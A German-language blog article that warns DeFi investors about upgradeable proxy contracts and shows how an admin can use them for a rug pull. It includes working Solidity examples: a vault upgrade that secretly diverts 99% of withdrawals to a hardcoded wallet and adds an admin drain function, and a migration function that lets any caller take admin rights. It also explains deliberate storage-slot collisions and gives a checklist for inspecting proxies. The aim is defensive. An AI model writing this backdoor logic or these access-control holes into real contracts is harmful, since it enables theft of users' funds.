In gut 90 % aller DeFi-Protokolle, in die ihr eure Stablecoins ballert, ist standardmäßig eine eingebaute Backdoor aktiv. Das Ganze läuft unter dem netten Label Upgradeability. Die Idee dahinter klingt harmlos: Bugs fixen, Gas optimieren. Die Realität? Der Admin kann den Live-Code mit einem Klick durch irgendeinen Scam-Müll ersetzen und die Liquidity bis auf den letzten Cent absaugen.
Gestern erst bis drei Uhr nachts einen frischen Base-Fork zerlegt. Ich dachte schon, ich werde blind – aber nein, da tickt eine klassische Timebomb direkt im Proxy. Und das Beste: Die haben ein Audit! Ein schickes Hochglanz-PDF von einer Top-Adresse. Schauen wir uns den Blödsinn mal an.
Architektonischer Scam: Wie Proxies wirklich funktionieren
Für die meisten Leute ist ein Smart Contract ein unteilbarer Block. Einmal deploit, läuft das Ding. Wer aber Code-Updates will, muss die Architektur trennen: in den Proxy und die eigentliche Logik (Implementation). User interagieren immer nur mit dem Proxy. Der Proxy selbst hat null Business-Logik. Der ist dumm. Er leitet alle Aufrufe stumpf per delegatecall weiter.
Genau hier liegt der Hund begraben. delegatecall ist das gefährlichste Werkzeug in ganz Solidity. Der Befehl führt den Code des Ziel-Vertrags (Implementation) aus, nutzt dafür aber den Speicher (Storage) des Proxies. Die Variablen liegen also im Proxy, der Code kommt von außen. Sobald der Admin die Implementations-Adresse im Proxy austauscht, läuft sofort der neue Code. Im schlimmsten Fall eben die Backdoor.
Die gängigen Pattern – als Feature verkauft, als Risiko verschwiegen:
- UUPS (UUPSUpgradeable): Der Slot für die Logik-Adresse liegt direkt im Implementation-Contract. Vergisst der Dev beim Deployment einer fehlerhaften Version die UUPS-Vererbung, brickt der komplette Contract. Für immer. Die Kohle ist eingesperrt. Extrem ironisch.
- Transparent Proxy Pattern (TPP): Hier regelt ein separater
ProxyAdmin-Contract die Updates. Saubere Trennung: User triggern die Business-Logik, der Admin nur die Upgrades. Klingt gut, frisst aber massig Gas. Der ständigemsg.sender-Check im Fallback zieht das Protokoll leer. - Beacon Proxy: Ein einziger Beacon-Contract hält die Logik-Adresse für hunderte identische Proxies. Extrem praktisch für NFT-Kollektionen oder baugleiche Pools. Ein Update am Beacon zieht alle Contracts nach. Jackpot für Hacker: Fliegt der Beacon, brennt das gesamte Netzwerk.
Anatomie eines Rug Pulls: So wird abkassiert
Wer glaubt, dass Angreifer immer komplexe Exploits brauchen, irrt sich gewaltig. Eine einzige geänderte Zeile in der neuen Implementation reicht dem Admin völlig aus.
Hier ist ein reales Code-Beispiel. Ein schnell zusammengeschusterter, harmloser Contract, der sich im Handumdrehen in ein Absaug-Tool verwandelt.
Stage 1: Der saubere Contract (Implementation_V1.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Standard-Pool. Nutzer zahlen ein, Rendite läuft.
contract VaultV1 is Initializable {
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
// Initializer statt Konstruktor. Wenn nicht aufgerufen: Free Real Estate für jeden.
function initialize() public initializer {
admin = msg.sender; // Deployer-Adresse. Hoffentlich ein Multisig.
}
function deposit() external payable {
require(msg.value > 0, "Zero funds");
balances[msg.sender] += msg.value;
totalFunds += msg.value;
}
// Sauberer Withdraw. Keine versteckten Gebühren. Noch nicht.
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Low balance");
balances[msg.sender] -= _amount;
totalFunds -= _amount;
payable(msg.sender).transfer(_amount);
}
}Code sieht gut aus. Die Auditoren geben grünes Licht. Das Protokoll geht live, die Liquidity pumpt, die Community feiert in den Chats.
Stage 2: Das nächtliche Update (Implementation_V2.sol)
Vier Wochen später liegen 5.000 ETH im Pool. Der Admin – oder ein Angreifer mit dem geleakten Private Key – drückt die zweite Version rein. Er triggert upgradeTo() im Proxy und biegt die Adresse um.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
// WICHTIG: Storage-Layout muss exakt mit V1 übereinstimmen.
// Variable verschoben = Mappings kaputt = Totalschaden.
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Offshore-Wallet
// Initializer-Sperre gegen Doppelaufruf
function initialize() public initializer {}
function deposit() external payable {
balances[msg.sender] += msg.value;
totalFunds += msg.value;
}
// Der Backdoor. Fällt dem normalen User nicht auf.
function withdraw(uint256 _amount) external {
// Sieht legitim aus, aber...
require(balances[msg.sender] >= _amount, "Low balance");
// Versteckte Steuer: 99% gehen klammheimlich ans shadowWallet.
// Warum nicht 100%? Damit die Transaktion nicht direkt fehlschlägt. UI-Lag vortäuschen.
uint256 tax = (_amount * 99) / 100;
uint256 userShare = _amount - tax;
balances[msg.sender] -= _amount;
totalFunds -= _amount;
payable(shadowWallet).transfer(tax);
payable(msg.sender).transfer(userShare);
}
// Klassischer Admin-Exit-Button
function emergencyDrain() external {
require(msg.sender == admin, "Not an admin");
// Alles leerräumen. Tschüss, Liquidity.
payable(shadowWallet).transfer(address(this).balance);
}
}Ein User will seine Funds abziehen, klickt auf Withdraw und signiert. Im Frontend rödelt die Ladeanimation. Auf der Wallet landet genau 1 % der Summe, der Rest ist weg. Wer jetzt im Telegram-Chat Stress macht, wird direkt gelöscht und gebannt. Klassischer Exit.
Storage Slot Collision: Der unsichtbare Endgegner
Manchmal spart sich der Admin sogar offensichtliche Funktionen wie emergencyDrain(). Es gibt einen viel eleganteren Weg: die gezielte Storage Slot Collision.
Die EVM kennt keine Variablennamen, sondern nur Slots von 0 bis 2256-1. Daten werden dort stumpf nacheinander reingeschrieben. Ändert man in der neuen Implementation absichtlich die Reihenfolge der Variablen, überschreibt ein neuer Wert in userLimit plötzlich die admin-Adresse.
Ich hatte mal einen Contract auf dem Tisch, bei dem vor das owner-Feld beim Upgrade klammheimlich ein winziger bool geschoben wurde. Der gesamte Speicheraufbau rutschte nach unten. Jeder User, der danach seine Settings änderte, überschrieb den Owner-Slot mit seiner eigenen Adresse und hatte die Admin-Rechte. Die Devs haben sich mit einem "Flüchtigkeitsfehler" rausgeredet. Klar, logisch. Die Beute ging übrigens direkt an eine Wallet, die zwei Tage vorher über Tornado Cash befüllt wurde. Bestimmt nur Zufall.
Sicherheits-Check für Paranoide: Wie man nicht als Exit-Liquidity endet
Wer glaubt, ein grüner Haken bei Etherscan reicht als Schutz, hat DeFi nicht verstanden. "Verified" heißt nur, dass der Proxy-Code sauber kompiliert. Das sagt gar nichts aus. Man muss tiefer graben.
Diese Tabelle zeigt, worauf es ankommt, wenn ihr mehr Assets in ein Protokoll schiebt, als euer Mittagessen kostet:
| Vertragsparameter | Ideal (Safe) | Gefährlich (Red Flag) | Check im Explorer |
|---|---|---|---|
| Vertragstyp | Unveränderbar (Immutable) | Proxy (UUPS / Transparent) | Reiter Contract -> Buttons "Read as Proxy" / "Write as Proxy" sind aktiv. |
| Verwaltung (Admin) | Multisig (Gnosis Safe 3/5) + Timelock | EOAs (normale Adresse eines einzelnen Admins) | Slot "admin" oder "owner" auslesen und Adresse prüfen. Wenn kein Code hinterlegt ist (kein Vertrag), gibt es nur einen Besitzer. Wenn dessen Private Key geleakt wird, ist alles weg. |
| Timelock (Zeitverzögerung) | 48 Stunden bis 7 Tage | Keins vorhanden oder auf 0 gesetzt | Prüfen, ob der Upgrade-Aufruf über einen Timelock-Vertrag läuft. Kann der Admin sofort "upgradeTo" ausführen — fahr die Investition runter. |
| Implementation-Slot | Gehasht nach EIP-1967 | Customized, versteckter Slot | Storage-Migration prüfen. Bei Upgrades den Reiter "State" auf Etherscan checken. |
Timelocks sind auch so eine Pseudo-Sicherheitsmaßnahme, auf die Retail-User blind vertrauen. Devs flexen im Discord gerne damit: „Wir haben ein 48-Stunden-Timelock drin! Spontane Upgrades sind unmöglich!“.
Klingt im ersten Moment solide. Der Admin muss die Upgrade-Transaktion zwei Tage vorher in die Queue packen. Eigentlich genug Zeit, um den Braten zu riechen, FUD zu verbreiten und die eigenen Funds abzuziehen. Die Realität? Juckt niemanden.
Wer trackt bitteschön rund um die Uhr den Mempool oder Timelock-Events? Keiner. Alle pennen, sind auf der Arbeit oder trinken Bier. Ein Hacker oder Scam-Admin pusht die Upgrade-Transaktion einfach Freitagabend in die Queue. Sonntagabend läuft das Timelock ab, der Code wird ausgetauscht. Montagvormittag wacht man auf, die Wallet ist komplett leergeräumt und man schiebt nur noch Frust. Dieser Zeitpuffer rettet einen nur, wenn automatisierte Alerts (etwa via Defender Sentinel oder Tenderly) laufen und Bots für ein Notfall-Withdraw bereitstehen. Ohne Bot guckt man nur dumm zu, wie die Kohle direkt aus der Execution-Queue abgesaugt wird.
Kommen wir zu den fiesen Tricks abseits der Standard-Audits, über die fast nirgendwo geschrieben wird.
Architektonische Tretminen: Versteckte Initializer-Methoden
Beim Deployment eines normalen Contracts läuft der constructor ab. Er triggert genau einmal, schreibt Variablen in den Storage und verschwindet. Bei einer Proxy-Architektur kann der Constructor der Implementation allerdings nicht in den Storage des Proxys schreiben. Genau dafür baut man eine Initializer-Funktion wie das oben gezeigte initialize.
An diesem Punkt beginnt die hohe Schule der Backdoor-Informatik. Was passiert, wenn das Admin-Team eine zweite Initialisierungsfunktion offenlässt? Oder eine versteckte Re-Initialization-Methode einbaut?
OpenZeppelin liefert dafür den Modifier reinitializer(uint8 version). Damit lassen sich bei einem Upgrade auf V2 neue Variablen initialisieren. Baut der Dev hier aber eine eigene Bastellösung oder vergisst „ganz zufällig“, diese Rekonfigurationsfunktion abzusichern, kann jeder Depp kritische Variablen im Storage überschreiben.
Beispiel für anfälligen (oder absichtlich manipulierten) Migrations-Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV3 is Initializable {
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
// Neue Variablen fuer V3
bool public isPaused;
address public trustedRecoveryAddress;
// Eigentlich der Reinitializer fürs Upgrade.
// Zeile genau anschauen – fällt der Fehler auf?
function upgradeConfig(address _recovery) external {
// Die Abfrage require(msg.sender == admin, "Not admin"); fehlt komplett
// Oder hier liegt eine Logik, die den Initialisierungs-Status resettet
trustedRecoveryAddress = _recovery;
// Kleines Geschenk fuer den Dev:
admin = msg.sender; // Und boom! Jeder kann die Funktion aufrufen und Admin-Rechte übernehmen
}
}Jetzt kommt das Argument: „Das ist ein extrem stumpfer Bug, der fällt im Audit sofort auf.“ Von wegen. So ein Exploit wird hinter komplexer Mathe versteckt oder in unverified externe Libraries ausgelagert, die beim Deployment mit reinfliegen. Im Code sieht die Funktion dann wie eine harmlose Yield-Berechnung aus, während im Hintergrund eiskalt ein Overwrite des Admin-Slots stattfindet.
On-Chain-Check: Storage-Slots direkt auslesen
Wenn das Team einen Rug-Pull plant, verifizieren sie den Backdoor-Code logischerweise nicht auf Etherscan. Die Implementation wird einfach als unverified Bytecode deployed. Im Explorer sieht man dann nur einen riesigen Hex-Haufen. Macht Panik – und genau das ist der Plan.
Um herauszufinden, wohin der Proxy im Moment tatsächlich zeigt, muss man direkt an die Basis gehen und die Storage-Slots der EVM auslesen. Laut EIP-1967-Standard muss die Logic-Adresse in einem fest definierten Slot liegen, um Storage-Collisions zu verhindern.
Adresse des Implementation-Slots (EIP-1967):bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Das ergibt folgenden Hash-Wert: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
Wer mit eth_getStorageAt umgehen kann, dem ist die Code-Verifizierung völlig egal. Man nimmt die Proxy-Adresse, fragt genau diesen Slot ab und kriegt die nackte Hex-Adresse des aktuellen Logic-Contracts. Wenn sich diese Adresse heimlich ändert: Sofort raus mit der Kohle.
# RPC-Call via curl, um den echten Inhalt des Slots zu sniffen
curl https://mainnet.infura.io/v3/YOUR_KEY \
-X POST \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'Die Response liefert 32 Bytes zurück. Die letzten 20 Bytes davon sind die echte Adresse des Contracts, der die Funds in genau dieser Sekunde kontrolliert. Vergiss die Adresse aus dem schicken Frontend des Projekts; exakt diese Adresse führt den delegatecall aus.
Fazit
Immer merken: Upgradeability ist immer ein Kompromiss zwischen Flexibilität für Devs und Sicherheit für Investoren. Wenn ein Projekt mit Milliarden an TVL (Total Value Locked) prahlt, aber auf einem Proxy mit einem 2-of-3 Multisig ohne Timelock läuft, gehört diese Milliarde nicht den Investoren. Sie gehört den drei Typen mit den Keys. Oder dem ersten Hacker, der sie erfolgreich phished.
Ist ein Contract upgradebar, vertraut man unterm Strich Menschen, nicht Code. Und die Krypto-Geschichte zeigt immer wieder: Menschen knicken ein, lassen sich erpressen oder drehen völlig durch, sobald Beträge mit sechs Nullen im Spiel sind.